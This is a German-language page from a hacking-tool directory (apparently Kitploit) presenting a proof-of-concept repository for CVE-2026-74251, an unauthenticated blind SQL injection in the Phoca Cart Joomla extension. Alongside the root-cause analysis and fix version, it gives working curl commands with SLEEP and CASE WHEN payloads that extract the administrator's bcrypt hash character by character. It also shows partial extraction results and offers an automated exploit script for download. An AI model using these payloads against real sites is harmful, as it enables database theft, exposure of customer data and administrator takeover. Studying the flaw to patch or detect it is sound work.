Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-74251 — Nicht authentifizierte SQL-Injection über Attributfilter in Phoca Cart - CVSS 9.3 | Kitploit
Tools/GitHubGitHub/toanln-cov/cve-2026-74251
SchwachstellenanalyseExploitationWebanwendungs-ExploitationDatenexfiltrationWebsicherheitDatenbanksicherheit
GitHubtoanln-cov/cve-2026-74251

CVE-2026-74251

Nicht authentifizierte SQL-Injection über Attributfilter in Phoca Cart - CVSS 9.3

Repository anzeigen
9vor 23 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Nicht authentifizierte SQL-Injection über den Attributfilter in Phoca Cart

Phoca Cart ≤ 6.1.6 — Nicht authentifizierter Angreifer extrahiert die vollständige Datenbank durch zeitbasierte Blind-Injection

CVE CVSS v4.0 CWE-89 Affected Researcher


ZUSAMMENFASSUNG

Die GET-Array-Parameter a[] (Attribut) und s[] (Spezifikation) der öffentlichen Artikelseite des Phoca-Cart-Shops werden unbereinigt direkt in SQL-WHERE-Klauseln eingefügt, ohne Parametrisierung oder Escaping. Ein nicht authentifizierter Angreifer kann über diese Parameter beliebiges SQL injizieren, was die Extraktion der vollständigen Datenbank durch zeitbasierte Blind-Techniken ermöglicht.

Die Schwachstelle befindet sich in getSqlPartsArray() in admin/libraries/phocacart/search/search.php. Die Funktion ruft explode(',', $v) auf, bevor sie die IN()-Liste erstellt, escapet die resultierenden Werte jedoch nie — sodass ein Payload ohne Kommas unverändert in die SQL-Abfrage gelangt. Da getItemListQuery() pro Anfrage zweimal aufgerufen wird (getTotal() + getItemList()), verursacht ein SLEEP(N)-Payload eine beobachtbare Verzögerung von 2×N Sekunden, was die Zeiterkennung äußerst zuverlässig macht.


BETROFFENE VERSIONEN

KOMPONENTEVERWUNDBARGETESTET AUFBEHOBEN
Phoca Cart (com_phocacart)5.0.0 – 6.1.6Joomla 5.4.7 + Phoca Cart 6.1.6 (PHP 8.2 / Apache)6.1.7

DETAILS ZUR SCHWACHSTELLE

Typ: SQL-Injection — zeitbasierte Blind-Injection (CWE-89) Erforderliche Authentifizierung: Keine — öffentlich erreichbarer Endpunkt Datei: admin/libraries/phocacart/search/search.php

Grundursache

Das Artikelmodell liest die Parameter a[] und s[] direkt aus der HTTP-Anfrage, ohne Bereinigung:

SITE/MODELS/ITEMS.PHP — ZEILE 92–93

root@kitploit:~
$this->setState('a', $app->getInput()->get('a', '', 'array')); // ← raw array from GET
$this->setState('s', $app->getInput()->get('s', '', 'array')); // ← raw array from GET

Diese Werte werden an getSqlPartsArray() übergeben, das jeden Wert an Kommas aufteilt und die resultierenden Fragmente direkt in die SQL-IN()-Klausel einfügt:

SEARCH.PHP — GETSQLPARTSARRAY() ZEILEN 318–363 (VERWUNDBAR)

root@kitploit:~
foreach ($value as $k => $v) {
    $a = explode(',', $v);        // splits on comma — but does NOT escape
    $a = array_unique($a);
    if ($k && $v) {
        if ($searchArea == 'a') {
            // ANY method — $a values are NOT escaped before implode:
            $inA[] = '(at2.alias = ' . $db->quote($k) . ' AND v2.alias IN ('
                . '\'' . implode('\',\'', $a) . '\''   // ← raw user input injected here
                . '))';

            // ALL method — $v2 injected raw into double-quoted context:
            foreach ($a as $v2) {
                $inAS[$iA] = 'at2.alias = ' . $db->quote($k)
                    . ' AND v2x' . $iA . '.alias = "' . $v2 . '"'; // ← raw $v2
                $iA++;
            }
        }
        else if ($searchArea == 's') {
            // specification filter — same pattern, same flaw:
            $inA[] = '(s2.alias = ' . $db->quote($k) . ' AND s2.alias_value IN ('
                . '\'' . implode('\',\'', $a) . '\'' . '))'; // ← raw
        }
    }
}

Das resultierende SQL-Fragment wird in die Hauptabfrage eingefügt:

root@kitploit:~
a.id IN (
  SELECT at2.product_id FROM #__phocacart_attributes AS at2
  LEFT JOIN #__phocacart_attribute_values AS v2 ON v2.attribute_id = at2.id
  WHERE (at2.alias = 'color' AND v2.alias IN ('INJECTION POINT'))
  GROUP BY at2.product_id HAVING COUNT(at2.alias) >= 1
)

getActiveFilterValues() in filter.php wendet filterValue($item, 'alphanumeric') auf die a[]-/s[]-Werte für die Anzeigeebene an. getSqlPartsArray() liest dieselben Parameter jedoch erneut direkt aus $app->getInput()->get('a', '', 'array') — ohne jegliche Bereinigung — und umgeht damit den Schutz der Anzeigeebene vollständig.


PROOF OF CONCEPT

Keine Authentifizierung erforderlich. Die Artikelansicht (/index.php?option=com_phocacart&view=items) ist öffentlich erreichbar. Es müssen keine Attribute oder Spezifikationen im Shop konfiguriert sein.

1. Basismessung — normale Antwortzeit bestätigen

Ein nicht authentifizierter Benutzer kann ohne jegliche Anmeldedaten auf das Shop-Portal zugreifen.

Nicht authentifizierter Zugriff auf das Phoca-Cart-Shop-Portal mit Artikelliste

In Burp Suite aufgezeichnete Roh-Anfrage — Basis-Antwortzeit: 76 ms.

Burp-Suite-Basis-GET-Anfrage an die Shop-Seite mit 76 ms Antwortzeit

2. SQL-Injection per Zeitverzögerung bestätigen — Attributfilter (a[])

Über den Parameter a[color] wird ein SLEEP(3)-Payload injiziert. Da getItemListQuery() pro Anfrage zweimal aufgerufen wird, beträgt die erwartete Verzögerung 2 × 3 = 6s. Beobachtet: 7085 ms — bestätigt.

root@kitploit:~
# Time-based blind SQLi — SLEEP(3) fires twice → ~6s response
curl -s -o /dev/null -w "%{time_total}s\n" -G \
  --data-urlencode "option=com_phocacart" \
  --data-urlencode "view=items" \
  --data-urlencode "a[color]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
  "http://TARGET/index.php"
# Result: 7.085s — CONFIRMED

# Specification filter (s[]) — same code path
curl -s -o /dev/null -w "%{time_total}s\n" -G \
  --data-urlencode "option=com_phocacart" \
  --data-urlencode "view=items" \
  --data-urlencode "s[spec]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
  "http://TARGET/index.php"

Burp Suite zeigt SQLi-Payload mit 7085 ms Antwortzeit, was das doppelte SLEEP(3) bestätigt

3. Mit SLEEP(0) bestätigen — schnelle Antwort

Das Ersetzen von SLEEP(3) durch SLEEP(0) liefert sofort eine Antwort (1064 ms) und bestätigt, dass die Verzögerung durch das injizierte SLEEP verursacht wird und nicht durch Netzwerkbedingungen.

Burp Suite zeigt SLEEP(0)-Payload mit schneller 1064-ms-Antwort

4. Zeichenweise Datenextraktion per Timing-Orakel

Den Admin-bcrypt-Hash Byte für Byte extrahieren. Entscheidende Einschränkung: explode(',', $v) teilt Werte an Kommas auf, bevor SQL aufgebaut wird — Payloads müssen SUBSTRING(str FROM pos FOR len) (ANSI-Keyword-Syntax) verwenden, um eine Kürzung an Kommas zu vermeiden, sowie CASE WHEN ... THEN ... ELSE ... END statt IF().

root@kitploit:~
# Extract ASCII value of char at position POS from admin password hash
# Replace POS (1-based) and EXPECTED_ASCII with actual values
# SLEEP(2) fires twice → 4s = match; <1s = no match

PAYLOAD="x' AND (SELECT COUNT(*) FROM (SELECT CASE WHEN \
((SELECT ASCII(SUBSTRING(password FROM POS FOR 1)) FROM jos_users WHERE username=0x61646d696e)=EXPECTED_ASCII) \
THEN SLEEP(2) ELSE 0 END as r)tmp) AND '1'='1"

curl -s -o /dev/null -w "%{time_total}s\n" -G \
  --data-urlencode "option=com_phocacart" \
  --data-urlencode "view=items" \
  --data-urlencode "a[color]=$PAYLOAD" \
  "http://TARGET/index.php"

Labor-Verifikation — die ersten 12 Zeichen des Admin-bcrypt-Hashs:

posZeichenASCIIAntwortTreffer
1$36>6s✓
2250>6s✓
3y121>6s✓
4$36>6s✓
5149>6s✓
6048>6s✓
7$36>6s✓
8L76>6s✓
9N78>6s✓
10v118>6s✓
11t116>6s✓
.........>6s✓

Extrahiertes Präfix $2y$10$LNvt... — der vollständige 60 Zeichen lange bcrypt-Hash ist in etwa 240 Anfragen wiederherstellbar.

5. Automatisierte Extraktion — vollständiger Admin-Hash-Dump per Exploit-Skript

Das enthaltene Skript exploit.py extrahiert den vollständigen Admin-Passwort-Hash automatisch, ohne manuelle Iteration, und nutzt dieselbe oben beschriebene zeitbasierte Technik.

root@kitploit:~
python exploit.py http://TARGET

Ausgabe des Exploit-Skripts, das den vollständigen Admin-bcrypt-Hash ohne Authentifizierung extrahiert


AUSWIRKUNGEN

  1. Vollständiges Auslesen der Datenbank ohne Authentifizierung — Joomla-Benutzerdaten (bcrypt-Hashes + E-Mail-Adressen), Bestelldatensätze, Zahlungsmetadaten, personenbezogene Kundendaten (PII) und in der Datenbank gespeicherte API-Schlüssel sind für jeden nicht authentifizierten Angreifer vollständig zugänglich.
  2. Übernahme des Administratorkontos — Das Extrahieren des Admin-Passwort-Hashs und das Offline-Knacken gewähren vollständigen Joomla-Administratorzugriff und ermöglichen Remote-Codeausführung per Vorlagen- oder Plugin-Upload.
  3. Keinerlei Voraussetzungen — betrifft jede Phoca-Cart-Installation — Der verwundbare Endpunkt ist die öffentliche Shop-Artikelliste. Es müssen keine Attribute oder Spezifikationen konfiguriert sein. Jede Website mit installiertem com_phocacart und öffentlichem Frontend ist ausnutzbar.
  4. Potenzial zum Schreiben in die Datenbank — Wenn die MariaDB-PDO-Emulation gestapelte Abfragen (Stacked Queries) ermöglicht, kann der Angreifer beliebige INSERT-/UPDATE-/DELETE-Anweisungen ausführen, einschließlich der Erstellung neuer Administratorkonten oder der Änderung von Bestelldatensätzen.

REFERENZEN

  • CVE: https://www.cve.org/CVERecord?id=CVE-2026-74251
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-74251
  • GitHub Advisory: https://github.com/advisories/GHSA-wgm5-xp28-5cmg
  • Hersteller-Repository: https://github.com/PhocaDesign/PhocaCart
Tool herunterladen